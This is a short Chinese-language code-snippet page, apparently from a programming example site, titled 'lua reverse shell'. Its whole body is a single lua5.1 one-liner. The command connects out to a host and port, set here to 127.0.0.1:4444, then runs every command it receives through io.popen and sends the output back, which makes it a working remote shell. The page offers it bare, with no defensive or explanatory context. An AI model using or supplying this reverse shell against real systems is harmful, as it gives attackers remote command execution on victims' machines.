📜  lua reverse shell - Shell-Bash 代码示例

📅  最后修改于: 2022-03-11 14:50:16.562000             🧑  作者: Mango

代码示例1
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'